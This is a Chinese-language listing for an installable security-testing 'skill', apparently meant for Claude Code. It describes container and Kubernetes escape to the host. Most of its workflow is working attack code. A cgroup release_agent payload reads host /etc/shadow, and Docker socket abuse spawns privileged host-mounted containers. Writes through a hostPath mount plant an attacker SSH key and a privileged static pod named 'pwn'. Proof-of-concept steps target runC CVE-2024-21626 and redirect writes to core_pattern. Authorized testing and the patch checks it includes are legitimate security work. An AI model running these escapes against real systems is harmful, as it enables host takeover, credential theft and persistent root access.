关于 escaping-containers-to-host
面向安全测试的技能,用于评估容器和 Kubernetes 中从容器逃逸到主机的路径。内容涵盖权限与挂载枚举、逃逸验证、运行时补丁检查及修复记录。
主要功能
- 01容器权限枚举
- 02评估配置错误导致的逃逸
- 03检查 Docker socket 和 hostPath
- 04验证 runC CVE
- 05记录证据与修复建议
适用场景
- 01在授权评估中测试容器隔离
- 02核对运行时是否修复所列 CVE
- 03验证运行时防御覆盖情况
- 04记录逃逸根因与修复措施
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill escaping-containers-to-host安装后在 Claude Code 中输入/escaping-containers-to-host确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
从容器逃逸到宿主机
法律声明: 本技能仅用于经授权的安全测试和教育目的。容器逃逸可实现对宿主机的完全攻陷。仅可对您自己拥有或已获得明确书面授权进行测试的系统运行这些技术。未经授权的使用属于违法行为,可能违反计算机欺诈相关法律。
概述
容器逃逸(MITRE ATT&CK T1611,Escape to Host)是指打破容器与宿主机操作系统之间的隔离边界,使攻击者能够在宿主机命名空间中执行代码——在 Kubernetes 上,这往往还是通往整个节点乃至整个集群的途径。容器共享宿主机内核,并依赖命名空间、cgroups、capabilities、seccomp 和 LSM(AppArmor/SELinux)实现隔离。当这些控制中的任何一项被削弱(--privileged 容器、挂载的 Docker socket、挂载 / 的 hostPath、诸如 CAP_SYS_ADMIN 之类的过多 Linux capabilities),或运行时本身存在漏洞时,这道边界就会崩塌。
本技能涵盖 Sysdig、Unit 42 和 runC 维护者观察到的四种影响最大、真实存在的逃逸原语:
- 错误配置逃逸 —— 特权容器、
CAP_SYS_ADMIN、宿主机 PID/IPC/Network 命名空间以及hostPath挂载。 - 暴露的 Docker socket(
/var/run/docker.sock)—— 将守护进程 socket 挂载到容器中,攻击者便可借助新建的特权容器获得宿主机上的 root 权限。 - "Leaky Vessels" runC 文件描述符泄漏,CVE-2024-21626 —— runC 在
pivot_root之前泄漏了一个指向宿主机文件系统的内部文件描述符(/proc/self/fd/7/8);将容器工作目录设置为该 fd 会使进程落在宿主机上。已在 runC 1.1.12(containerd 1.6.28/1.7.13、Docker 25.0.2)中修复。 - 2025 年 11 月 runC procfs 写入重定向漏洞系列 —— CVE-2025-31133、CVE-2025-52565、CVE-2025-52881 —— 在 runC 应用
maskedPaths/readonlyPaths之前执行的/dev/null、/dev/console及其他 bind mount 存在竞态/符号链接滥用,导致可对/proc条目(例如/proc/sysrq-trigger、core_pattern)进行读写访问以及任意写入重定向。已在 runC 1.2.8、1.3.3 和 1.4.0-rc.3 中修复。
来源:Palo Alto Networks "Leaky Vessels" 公告;Sysdig "New runc vulnerabilities allow container escape"(2025);opencontainers/runc 安全公告 GHSA-cgrx-mc8f-2prm 和 GHSA-9493-h29p-rfm2;Unit 42 容器逃逸研究。
何时使用
- 在经授权的容器或 Kubernetes 渗透测试中,于容器或 Pod 内获得初始代码执行后
- 验证运行时防御措施(Falco、seccomp、AppArmor)能否检测或阻止逃逸尝试时
- 评估被攻陷微服务的影响范围时
- 验证 runC/containerd/Docker 针对上述 CVE 的补丁级别时
前提条件
- 涵盖宿主机/节点攻陷的授权(已签署的测试约定书)
- 一个立足点:目标容器内的 shell
- 容器内或已预置的侦察工具:
# deepce - Docker enumeration and escape git clone https://github.com/stealthcopter/deepce.git # amicontained - container introspection (capabilities, seccomp, namespaces) curl -L https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -o amicontained chmod +x amicontained # CDK - zero-dependency K8s/container pentest toolkit curl -L https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -o cdk chmod +x cdk - 一个您被允许从中逃逸的实验集群/宿主机(例如 kind、minikube 或专用虚拟机)
目标
- 枚举容器的权限态势(capabilities、命名空间、挂载、seccomp)
- 确定可用的逃逸原语
- 执行宿主机逃逸并证明宿主机级别的代码执行
- 捕获证据(宿主机 hostname、宿主机
/etc/shadow访问或宿主机文件写入) - 记录根本原因——错误配置或有漏洞的运行时版本,以便修复
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1611 | Escape to Host | Privilege Escalation |
| T1610 | Deploy Container | Defense Evasion / Execution |
| T1613 | Container and Resource Discovery | Discovery |
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |
工作流
步骤 1:枚举容器环境
确定权限级别、capabilities、命名空间和已挂载的宿主机路径。
# Quick capability + namespace + seccomp introspection
./amicontained
# Are we privileged? CapEff ending in ...ffffffff is "all caps"
grep CapEff /proc/self/status
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
# Host filesystem or docker socket mounted in?
mount | grep -E 'docker.sock|hostPath|/host'
ls -la /var/run/docker.sock 2>/dev/null
findmnt -o TARGET,SOURCE,FSTYPE,OPTIONS
# Sharing host namespaces? (host PID = can see host processes)
ps aux | head # if you see systemd/host pids, hostPID:true
ls -la /proc/1/root # if readable as host root, namespace is shared
# Automated enumeration
./deepce.sh
./cdk evaluate
第 2 步:通过特权容器逃逸(cgroup release_agent)
一个 --privileged 容器(或具有 CAP_SYS_ADMIN 的容器)可以挂载 cgroup 层级,并滥用 release_agent,在 cgroup 中最后一个进程退出时在宿主机上运行命令。
# Confirm we can mount (CAP_SYS_ADMIN present)
# Create a cgroup mount and enable release_agent notification
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# Find the container rootfs path on the host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Payload that runs on the HOST
cat > /cmd <<'EOF'
#!/bin/sh
ps aux > /output
hostname >> /output
cat /etc/shadow >> /output
EOF
chmod +x /cmd
# Trigger: spawn and immediately exit a process in the cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output # host process list / shadow proves escape
第 3 步:通过挂载的 Docker Socket 逃逸
如果 /var/run/docker.sock 被绑定挂载到容器中,你就控制了宿主机 Docker 守护进程,可以启动一个挂载宿主机根目录的新容器。
# Confirm reachability
docker -H unix:///var/run/docker.sock version 2>/dev/null || \
curl -s --unix-socket /var/run/docker.sock http://localhost/version
# Launch a privileged container mounting host / and chroot into it
docker -H unix:///var/run/docker.sock run -it --rm \
--privileged --net=host --pid=host \
-v /:/host alpine chroot /host sh
# Pure-curl variant (no docker CLI in container):
curl -s -XPOST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],
"Binds":["/:/host"],"Privileged":true}' \
http://localhost/containers/create?name=esc
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/esc/start
第 4 步:通过 hostPath 挂载逃逸(Kubernetes)
一个带有 /(或敏感宿主机目录)的 hostPath 卷的 Pod 允许你直接读写宿主机文件——例如,植入一个 root SSH 密钥或一个特权静态 Pod 清单。
# If /host is the hostPath mount of node root:
ls /host
# Persist: add an attacker key for node root login
mkdir -p /host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@kali" >> /host/root/.ssh/authorized_keys
# Or write a privileged static pod manifest that kubelet will auto-run as root
cat > /host/etc/kubernetes/manifests/pwn.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pwn, namespace: kube-system}
spec:
hostPID: true
containers:
- name: pwn
image: alpine
command: ["/bin/sh","-c","sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
第 5 步:利用 runC CVE-2024-21626(Leaky Vessels fd 泄漏)
如果运行时是 runC <= 1.1.11,则可以利用泄漏的宿主机 cwd fd。在拥有 docker build/docker run 控制权的情况下,将工作目录设置为 /proc/self/fd/<N>(通常为 7 或 8)。
# Detect vulnerable runtime version (host or via runc binary in image)
runc --version # vulnerable: 1.0.0-rc93 .. 1.1.11
docker info --format '{{.DefaultRuntime}}'
# Proof-of-concept via a malicious image WORKDIR (run-time variant)
cat > Dockerfile <<'EOF'
FROM alpine
# fd 7/8 leaked by runc references the HOST cwd before pivot_root
WORKDIR /proc/self/fd/8
RUN ["/bin/sh","-c","cd ../../../../ ; cat etc/shadow ; cat etc/hostname"]
EOF
docker build --no-cache -t leaky .
# Run-time variant: the container lands in a host directory
docker run --rm --workdir /proc/self/fd/8 alpine \
sh -c 'cd ../../../.. && cat etc/shadow'
# Reference PoC: github.com/strikoder/cve-2024-21626-runc-1.1.11-escape
第 6 步:利用 2025 年 runC procfs 写入重定向系列漏洞
对于 runC <= 1.2.7 / 1.3.2 / 1.4.0-rc.2,CVE-2025-31133/52565/52881 滥用 /dev/null//dev/console 绑定挂载与应用 maskedPaths 之间的竞态,将挂载目标替换为符号链接,从而使宿主机 /proc 条目变为可写。写入 core_pattern 或 /proc/sysrq-trigger 即可实现宿主机代码执行。
# Confirm vulnerable runtime
runc --version # vulnerable: <= 1.2.7, 1.3.2, 1.4.0-rc.2
# Conceptual exploitation flow (use maintainers' PoC in a lab):
# 1. Start a container that, during init, swaps the /dev/console (or a
# custom device) bind-mount target for a symlink to /proc/sysrq-trigger.
# 2. Win the race so runc bind-mounts it read-write before maskedPaths apply.
# 3. Redirect a write to host procfs:
echo c > /proc/sysrq-trigger # would crash host (DoS) - demonstrates RW
# 4. For code exec, redirect the write to /proc/sys/kernel/core_pattern:
echo '|/bin/sh -c "id>/host_pwn"' > /proc/sys/kernel/core_pattern
# then trigger a core dump in any host-visible process.
# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2
第 7 步:验证已修补状态并记录修复措施
# Verify runtimes are patched
runc --version # want >= 1.2.8 / 1.3.3 / 1.4.0-rc.3 (and != vuln 1.1.x)
docker version --format '{{.Server.Version}}' # >= 25.0.2 for CVE-2024-21626
containerd --version # >= 1.6.28 / 1.7.13
# Confirm hardening for misconfig escapes
docker inspect <ctr> --format '{{.HostConfig.Privileged}}' # want false
kubectl get pod <pod> -o jsonpath='{.spec.containers[*].securityContext}'
工具与资源
| 工具 | 用途 | 来源 |
|---|---|---|
| amicontained | 能力/命名空间/seccomp 内省 | https://github.com/genuinetools/amicontained |
| deepce | Docker 枚举与逃逸自动化 | https://github.com/stealthcopter/deepce |
| CDK | 容器/K8s 渗透工具包 | https://github.com/cdk-team/CDK |
| runc PoC (CVE-2024-21626) | Leaky Vessels 参考利用程序 | https://github.com/strikoder/cve-2024-21626-runc-1.1.11-escape |
| Sysdig runc 2025 公告 | CVE-2025-31133/52565/52881 分析 | https://www.sysdig.com/blog/runc-container-escape-vulnerabilities |
| Palo Alto Leaky Vessels | CVE-2024-21626 深度剖析 | https://www.paloaltonetworks.com/blog/cloud-security/leaky-vessels-vulnerabilities-container-escape/ |
逃逸原语参考
| 原语 | 根本原因 | 检测信号 |
|---|---|---|
| 特权容器 | --privileged / CAP_SYS_ADMIN | mount cgroup、写入 release_agent |
| Docker socket 挂载 | /var/run/docker.sock 被绑定挂载 | 从容器内发起守护进程 API 调用 |
hostPath / 挂载 | Pod 挂载节点根目录 | 写入 /host/etc/kubernetes/manifests |
| CVE-2024-21626 | pivot_root 之前的 runC fd 泄漏 | WORKDIR/cwd =/proc/self/fd/N |
| CVE-2025-31133/52565/52881 | 通过挂载竞态实现的 procfs 写入重定向 | 对 /dev/console 的读写挂载、写入 /proc/sysrq-trigger |
验证标准
- 已枚举容器权限态势(能力、命名空间、挂载、seccomp)
- 已正确识别可用的逃逸原语
- 已演示宿主机级代码执行(捕获到宿主机 hostname /
/etc/shadow/ 宿主机文件写入) - 已记录根本原因误配置或存在漏洞的运行时版本
- 已对照 CVE 补丁基线检查 runC/containerd/Docker 版本
- 已记录修复指南(撤除权限、移除 socket 挂载、修补运行时)
- 所有操作均保持在授权范围内